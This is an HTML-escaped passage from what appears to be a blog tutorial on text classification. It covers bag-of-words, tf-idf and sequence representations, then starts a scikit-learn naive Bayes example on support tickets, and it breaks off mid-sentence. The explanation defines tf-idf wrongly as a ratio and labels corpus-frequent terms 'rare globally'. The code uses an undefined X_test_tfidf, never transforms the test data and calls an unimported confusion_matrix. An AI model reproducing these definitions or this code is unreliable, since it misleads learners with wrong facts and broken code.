        &lt;img alt=&quot;Figure 5 - Bag of Words&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/86759365b69d7e20e28699da2ac86a6e/01bf6/bow.png&quot; title=&quot;Figure 5 - Bag of Words&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Bag of Words&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;tf-idf&quot;&gt;Tf-idf&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tf%E2%80%93idf&quot;&gt;&lt;strong&gt;Tf-Idf&lt;/strong&gt;&lt;/a&gt; stands for Term Frequency/Inverted Document Frequency.
It is a vector representation similar to that of the Bag of Words method,
but for the terms present in the text, rather than the number of occurrences, this value Tf-Idf is used, defined as the ratio between the
Term Frequency and the Inverse Document Frequency.
The Term Frequency is the frequency of the term within the document.
The Inverse Document Frequency is a measure of how much the term occurs within the entire corpus (in how many documents essentially).
Compared to the Bag of Words model, this representation therefore emphasizes &amp;quot;relevant&amp;quot; terms such as those that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;appear frequently in a document (&amp;quot;common locally&amp;quot;)&lt;/li&gt;&lt;li&gt;appear frequently in the corpus (&amp;quot;rare globally&amp;quot;)
Given these characteristics, this representation is therefore always preferred to the Bag of Words one, which is simpler and therefore less full of meaning.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:243px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1f65f7eafee95d36f209716ff487ec41/8aea6/tf-idf.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:107.81893004115226%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;431\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20431\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M27%20100v29h153V70H27v30m155%200v29h96V70h-96v30m99%200v29h98V70h-98v30m-52-8l-1%202c0%202-1%202-3%202-3%200-4%201-5%202-4%206-1%2013%205%2012l5-1%201-9c0-8-1-10-2-8m6%200l-1%202-1%202v2l1%206c0%204%200%205%202%205l1-5%201-5c1-1%201%201%201%204v6l2%201c1%200%202-1%201-5l-1-7c-2%200-4-3-3-4l1-2h-4m96%202c0%202%200%202-3%202-5%200-7%203-7%207%200%205%202%207%208%207h4v-10l-1-9-1%203M72%2098c-4%204-1%2012%204%2012%203%200%205-2%206-7%200-6-6-10-10-5m20-1c0%203%200%2013%202%2013l1-5c0-4%202-8%204-7v6c0%203%201%205%202%205%202%200%202-1%202-5l1-5c3-1%203%200%203%205%200%204%200%205%202%205s2-1%202-4c0-8-1-9-10-9l-9%201m41%201c-6%205-1%2014%206%2011%203-1%205-7%202-11-1-2-6-3-8%200M27%20161v30h153v-60H27v30m183-7c-1%201-2%202-2%205v6c-2%204%205%208%2010%204%202-1%203-5%201-7v-3c1-6-4-9-9-5m33%200c-3%204-3%2012%200%2015%204%204%2010%201%2010-5%200-3-4-6-7-5-3%200-2-2%200-3h4c1%202%202%202%203%201%200-1-3-5-6-5l-4%202m88-1c-5%203-5%2015-1%2017%206%203%2012-2%209-7-2-3-5-5-7-4-3%201-3-1%200-3h4c3%202%204%200%201-2s-3-2-6-1m-75%203c-2%205-1%206%203%206%204-1%206%201%205%204-1%202-6%203-6%201-1-2-4-3-4-1s4%205%207%205c8%200%208-11%200-13-4%200-3-3%201-3l3-1-4-1c-3%200-4%200-5%203m87-2l-2%204v4h3c5-1%207%201%206%204-1%202-6%203-7%201-1-3-2-2-2%200%201%203%205%205%209%203%205-3%203-12-3-12l-2-1c0-1%201-2%203-2l3-1h-8m-242%205c-1%202%200%203%202%201l3-1c2%201%202%203%200%203s-7%203-7%205%204%204%208%204l4-1v-5l-1-7c-2-2-8-1-9%201m-74%2064v29h153v-59H27v30m178-7c-4%201-6%2012-2%2015%202%202%207%203%209%201%204-4-1-12-6-10l-2-1%201-3%205%201h3c0-2-5-5-8-3m32%201l-2%203c0%201%203%201%203-1%201-2%205-1%206%201%200%201-1%203-4%204-4%203-6%207-5%208h12l-4-1c-6%200-6-1-1-4l4-4%202-2%203-2c1-2%206-1%206%201l-3%202-2%202%202%201c4%201%204%205%200%206l-4-2c-2-3-4-1-2%202s9%203%2011-1v-9c0-3%200-4-2-5-4-2-8-1-9%202%200%202%200%202-3%200-2-3-5-4-8-1m73%200c-2%201-2%202-2%204%201%201%201%201%203-1%201-2%205-3%205%200%201%201%200%203-5%207-5%203-4%205%202%206l6-1c1-1%200-1-5-1-4%200-4-1%201-4%205-4%206-8%203-10s-5-2-8%200m19%200c-2%202-3%2010%200%2014%202%203%208%203%2010-1%204-9-4-19-10-13m14%200c-2%202-2%202-1%204v11l5%201%205-1v-10c3-5-4-9-9-5m-260%203c-4%203-2%205%201%202h4c1%202%201%203-4%203-3%201-5%204-3%207h12l-1-1-1-5c0-6-4-9-8-6m33%201c-3%202-3%209%200%2011%206%205%2014-5%208-11-3-2-5-3-8%200m-89%2063v29h153v-59H27v30m182-6c-4%204-1%2011%205%2010%203-1%204%200%201%202-2%202-2%202-5%200-2-1-3-1-1%202%201%203%206%202%209%200%207-8-2-21-9-14m22-1c-2%202-3%205-2%205l2-1%203-2c4%200%204%203-1%207-8%205-7%208%201%208%207%200%208-2%201-3h-4l4-4c4-2%205-4%205-5%200-5-5-8-9-5m14%205c-5%207-5%208-1%208%203%200%204%200%204%202%201%203%203%203%203%200l1-2v-2l-1-6c0-7-1-7-6%200m85-5c-3%202-4%2011-1%2015s11%202%2011-4c0-3-3-5-7-5-2%200-3-1-3-2l1-2%205%201h2c3-2-4-5-8-3m13%201l-2%203c0%202%203%201%204%200%200-2%205-2%205-1%200%203-1%205-2%205-2%200-7%205-7%207s1%202%206%202c7%200%208-2%201-3h-4l4-4c4-2%205-4%205-6%200-5-6-7-10-3m-237%203c-2%202-3%204-1%204l2-2c2-1%205-1%205%201l-4%202c-8%202-6%208%203%208%205%200%206-1%204-2l-1-5c0-7-4-9-8-6m39%201c-4%205-1%2012%204%2012s6-2%206-7c0-6-6-9-10-5M27%20345v29h153v-59H27v30m54%201l1%208%203%201c4%200%208-2%208-5%200-2%201-1%203%202%203%205%2010%204%2011-2%201-9-8-12-11-5-1%202-3%203-3%201%200-3-4-5-7-5-3%201-3%201-3-2l-1-2-1%209m115-7l-2%203c0%202%203%201%203%200l3-2c4%200%204%203-1%207-7%206-7%208%201%208%207%200%208-2%201-3h-4l4-4c4-2%205-4%205-5%200-6-6-8-10-4m14-1l-2%205c0%204%201%205%204%203%201-2%205%201%205%203%200%204-5%205-8%201-1-2-2%200%200%203s7%203%2010-1c2-3%201-7-4-9-5-1-5-3%200-3l3-1c-1-2-8-3-8-1m20%201c-2%202-2%202-1%203h2l4-2c3%200%203%203-2%207-8%205-7%208%201%208%207%200%208-2%201-3h-4l4-4c4-2%205-4%205-6%200-5-6-7-10-3m13%200c-2%203-2%204%200%204l1-1c0-2%201-2%203-2%204%200%204%203%200%204-3%200-3%202%201%203%202%201%203%205%201%205-3%200-5%200-5-2-1-2-3-1-3%201%200%204%207%206%2011%203v-11c3-5-6-9-9-4m13%201c-2%205-1%208%203%206h3c4%203%200%208-4%205-3-2-4-1-2%202%201%202%202%202%205%202%208-1%208-11%200-12-4%200-4-2%201-3%205%200%204-3-1-3-3%200-4%200-5%203m79%201c-1%206%200%207%203%205%203-1%207%202%206%204-1%203-6%202-8%200h-2c-2%205%209%207%2012%202%202-4-1-9-6-9-3%200-2-3%201-3%205-1%204-2-1-3h-4l-1%204\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1f65f7eafee95d36f209716ff487ec41/0e3e2/tf-idf.webp 243w&quot; sizes=&quot;(max-width: 243px) 100vw, 243px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1f65f7eafee95d36f209716ff487ec41/8aea6/tf-idf.png 243w&quot; sizes=&quot;(max-width: 243px) 100vw, 243px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - Tf-Idf&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1f65f7eafee95d36f209716ff487ec41/8aea6/tf-idf.png&quot; title=&quot;Figure 6 - Tf-Idf&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - Tf-Idf&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;text-to-sequence-of-numbers&quot;&gt;Text to sequence of numbers&lt;/h3&gt;&lt;p&gt;A final representation, mainly used in the context of neural networks, is that which involves transforming each textual content into one
sequence of integers, where each integer maps a specific token into a specific vocabulary. This representation is very often used
together with the use of &lt;a href=&quot;https://en.wikipedia.org/wiki/Word_embedding&quot;&gt;Word Embedding&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:728px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/cecac/word-id.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:29.000000000000004%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;115\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20115\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%2023v18h83V4H7v19M176%205v17l1%2016h75V4h-38l-38%201m122%2016v17h83V5l-42-1h-41v17M10%207l-1%204v4l2-2c3-2%205-3%208-1s2%203-1%203c-6%200-7%202-1%204%204%202%204%202%204%205%200%205-2%206-8%206l-4-1v10h79v-4l-1-5c-2%200-2-1-2-4%200-4-2-7-4-6l-1%205c0%204%200%205-2%205s-2-1-2-6v-7h5l6%201c1%201%201%200%201-5V7L49%206%2010%207m168%2014v15h73V6h-73v15m122%200v15h78V6h-78v15M24%2021c0%207%200%209%202%209l1-4c0-5%202-8%204-7l1%206c0%204%200%205%202%205l1-6c0-6-2-8-6-7-2%201-2%200-2-3l-1-3c-2%200-2%202-2%2010m73-7l-2%203v1l1%207c0%204%200%205%202%205s2-1%202-5c0-5%200-6%202-6l1-1-1-1-2-1c0-1%201-2%203-2s2%200%202%208c0%206%200%208%202%208l1-9V11h-4c-4%200-5%200-7%203m83%206c0%208%200%2010%202%2010l1-6v-6l3%205c1%203%203%205%204%205l4-5%203-5v6c0%205%200%206%202%206l1-9-1-10c-2%200-7%207-7%209l-1%202c-1%201-2%200-5-5-5-9-6-8-6%203m124-8l-1%209c0%208%200%209%202%209s2-1%202-3c0-4%200-4%204-4l3-1c0-2-1-2-3-2-4%200-4%200-4-2%200-3%201-3%204-3l4-2c0-2-1-2-5-2l-6%201m38%202c0%203%200%203-3%203-5%200-8%206-5%2011%201%202%202%202%206%202h5V20l-1-9c-1%200-2%201-2%203M39%2018c-2%201%200%203%202%202h3l1%202c-5%201-6%203-6%205s0%203%205%203h5v-4c0-7-1-9-5-9l-5%201m24%201c-4%205-1%2011%204%2011s7-2%207-6c0-7-8-10-11-5m50%200c-2%202-2%207%200%209%201%202%207%203%209%201%202-1%200-2-4-2l-3-1c0-2%201-2%204-2s4%200%204-2c0-4-7-7-10-3m11%200a1123%201123%200%20015%2011h2l1-4%202-4%201%204c2%206%204%206%207-2l1-7c-2%200-4%203-4%205%200%203-2%202-3-1-1-5-4-5-5%200l-1%204-2-4-2-4c-2%200-2%200-2%202m37%200l-1%205c0%204%202%206%205%206%205%200%207-2%207-6%200-3%200-5-2-6s-7-1-9%201m50-1c-2%201%200%203%202%202h3l1%202c-5%201-6%203-6%205s0%203%205%203h5v-5c0-6-1-8-5-8l-5%201m13%206c0%205%200%206%202%206l1-5%201-5c3-1%203%200%203%205%200%204%200%205%202%205s2-1%202-5l1-5c1-2%203%202%203%206%200%203%200%204%202%204%201%200%202-10%200-12l-9-1h-8v7m41-6c-2%201%200%203%202%202h3c2%201%200%203-3%203s-4%203-4%205c1%202%202%202%206%202h5v-6c0-4%200-6-2-6h-7m85%200c-2%202%200%203%202%202h2c1%201%200%203-2%203s-4%202-4%205c0%201%202%202%206%202h5v-5l-1-7h-8M49%2081c-3%202-4%205-2%205l3-2c1-2%204-1%204%202%200%202-1%204-4%206-6%206-6%207%201%207l7-1c0-2-1-2-4-2h-3l3-4c4-4%205-7%203-9-2-3-5-3-8-2m15%200c-3%202-4%205-2%207v3c-4%203-1%208%205%208%205%200%208-7%204-9v-1l1-3c0-4-4-7-8-5m39%201c-2%201-3%205-1%207%201%200%201%201-1%202-4%205%203%2011%209%208%203-2%204-6%202-8v-3c2-3%200-6-3-7s-3-1-6%201m31-1c-3%202-4%205-2%205l3-2%203-1c2%202%201%204-1%205l-2%202%202%201c2%201%203%205%201%205-1%201-3%200-3-1h-5l3%203c5%204%2012-2%209-7v-3c3-5-3-9-8-7m39%201c-2%201-3%205-1%207v2c-5%204%202%2011%208%208%203-2%204-6%202-9v-3c1-2%201-2-1-5-4-2-5-3-8%200m111-1c-3%202-4%205-2%205l3-2%203-1c2%202%201%206-3%2010-6%206-6%206%202%206l6-1c0-2-1-2-4-2h-3l3-4c5-5%205-8%202-10s-4-2-7-1m13%201c-2%203-2%203-1%205v3c-2%203-1%207%202%209%206%202%2012-2%209-8v-5c1-5-5-8-10-4m17-1c-5%203-5%208%200%2010l3%202-3%203-2%203h2c5%200%2011-14%208-17-2-1-6-2-8-1M34%2087c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-3v-2l-1-6c0-7-2-7-8%201m43-4c-2%203-1%204%202%201l3-1c3%201%202%205-2%2010l-5%205%207%201c7%200%209-2%202-3-4%200-4%200%200-4%203-4%204-8%202-10s-8-1-9%201m40-1l-1%205c0%203%200%203%204%203%203%200%204%201%204%202%200%203-3%205-5%204h-3c-4%202%204%205%208%203%205-3%205-11-1-12-4%200-4-3%200-3%206-1%205-3-1-3l-5%201m126%200c-2%201-3%205-1%206%201%201%200%202-1%203-2%205%202%209%208%208%203-1%205-5%203-8-1-1-2-2-1-3l1-3c0-3-5-5-9-3m14%200v7c1%200%201%201-1%202-3%204%202%2010%208%207%203-1%204-5%202-7v-3c3-5-5-10-9-6m71%205c-5%206-5%208%201%208%203%200%204%200%204%202l2%202%201-2%201-2%201-1-1-2-1-5c0-8-2-8-8%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/c85cb/word-id.webp 300w,/static/5befc00f4ad530cd1d26a362e924b1c7/e88ff/word-id.webp 600w,/static/5befc00f4ad530cd1d26a362e924b1c7/8cb3e/word-id.webp 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/5a46d/word-id.png 300w,/static/5befc00f4ad530cd1d26a362e924b1c7/0a47e/word-id.png 600w,/static/5befc00f4ad530cd1d26a362e924b1c7/cecac/word-id.png 728w&quot; sizes=&quot;(max-width: 728px) 100vw, 728px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Text to sequence&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5befc00f4ad530cd1d26a362e924b1c7/cecac/word-id.png&quot; title=&quot;Figure 7 - Text to sequence&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Text to sequence&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The chosen representation, very often, depends on the algorithm used and the type of task to be faced. In the vast majority of cases
the approach is to use a Tf-Idf model with &amp;quot;classic&amp;quot; algorithms, and a Text to Sequence representation with Deep Learning approaches.
In the next section we will see the application and use of these transformations, in the context of the actual training of models for textual classification.&lt;/p&gt;&lt;h1 id=&quot;model-training&quot;&gt;Model training&lt;/h1&gt;&lt;p&gt;We have seen what are the best practices regarding text processing and transformation. Now let&amp;#x27;s see how to train our models.
Various algorithms are present at the state of the art which, depending on the context, prove to be very suitable for the classification task
textual.
Among the classic approaches we find &lt;a href=&quot;https://it.wikipedia.org/wiki/Classificatore_bayesiano&quot;&gt;&lt;em&gt;Bayesian Classifier&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/Macchine_a_vettori_di_supporto&quot;&gt;&lt;em&gt;Support Vector Machine&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/Modello_logit&quot;&gt;&lt;em&gt;Logistic Regression&lt;/em&gt;&lt;/a&gt;.
On the other hand, among the approaches of &lt;a href=&quot;https://en.wikipedia.org/wiki/Deep_learning&quot;&gt;&lt;em&gt;Deep Learning&lt;/em&gt;&lt;/a&gt;  types,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Convolutional_neural_network&quot;&gt;&lt;strong&gt;convolutional networks&lt;/strong&gt;&lt;/a&gt; are very effective,
but in some cases also &lt;a href=&quot;https://en.wikipedia.org/wiki/Recurrent_neural_network&quot;&gt;&lt;strong&gt;recurring networks&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Here are two examples of model training that can rank support tickers against their category.
using first a Bayesian Classifier and then a Convolutive Neural Network.&lt;/p&gt;&lt;p&gt;The integral code for these examples and also for other examples with others among the algorithms mentioned, are present on the repository
&lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;Github&lt;/a&gt; related to this
series of articles. In the repository you will find the source code of the examples described and executable in well documented jupyter notebooks.&lt;/p&gt;&lt;h2 id=&quot;1-textual-classification-with-bayesian-classifier&quot;&gt;1. Textual classification with Bayesian Classifier&lt;/h2&gt;&lt;p&gt;In our case we will use a &lt;a href=&quot;https://en.wikipedia.org/wiki/Naive_Bayes_classifier&quot;&gt;&lt;em&gt;Bayesian Classifier&lt;/em&gt;&lt;/a&gt;
in the so-called &amp;quot;naive&amp;quot; version (Naïve Bayes Classifier). It is a simplified Bayesian Classifier
with an underlying probability model making the hypothesis of independence of characteristics,
i.e. it assumes that the presence or absence of a particular attribute in a textual document is unrelated to the presence or absence of other attributes&lt;/p&gt;&lt;p&gt;To train the model we will use the &lt;a href=&quot;https://scikit-learn.org/stable/&quot;&gt;&lt;em&gt;Scikit-Learn&lt;/em&gt;&lt;/a&gt; library.&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s assume that we have our tickets already preprocessed through the techniques already seen in the previous sections in a csv file. Moreover
for each textual content we know the category expressed through a numerical identifier.&lt;/p&gt;&lt;p&gt;The first step we must take is to read the data and create the training set for the training on the one hand, on the other
the test set for validation.&lt;/p&gt;&lt;p&gt;To do this we first import the contents of the csv into a Pandas dataframe.
We then extract the text and labels and build two special lists.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pandas &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;df_tickets = pd.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;input/all_tickets.csv&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;body&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;labels_list = df_tickets[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;category&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Reading data&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Now we are going to transform the list of textual contents into a representation of the Tf-Idf type. To do this we use functions defined by the
library. Once that&amp;#x27;s done, let&amp;#x27;s split the whole thing together into training and test sets.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.feature_extraction.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; CountVectorizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.feature_extraction.text &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TfidfTransformer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.model_selection &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; train_test_split&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train, X_test, y_train, y_test = train_test_split(text_list, labels_list, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;random_state&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;count_vect = CountVectorizer()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;vectorized_data = count_vect.fit_transform(X_train)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tfidf = TfidfTransformer()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;X_train = tfidf.fit_transform(vectorized_data)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Text transformation and split&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point we move on to the actual training and then to the evaluation of the performances obtained by calculating
through predefined functions the accuracy achieved and the confusion matrix relating to the test set.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.naive_bayes &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; MultinomialNB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.metrics &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; f1_score, accuracy_score, classification_report&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mnb = MultinomialNB()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mnb.fit(X_train, y_train)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pred = mnb.predict(X_test_tfidf)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#print(f1_score(y_test, pred))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(accuracy_score(y_test, pred))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#print(precision_score(y_test, pred))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;confusion_matrix(y_test, pred)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Model trainingn and validation&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The model at this point can be saved in &lt;strong&gt;pickle&lt;/strong&gt; format and then used for your own purposes. The model takes in
I input a Tf-Idf representation and not the natural text, so before giving the textual input content to the model,
it must always be converted into the chosen representation (in this case Tf-Idf).&lt;/p&gt;&lt;p&gt;Scikit-learn provides a tool that simplifies these aspects and actually allows you to define an end-to-end model, i.e. a
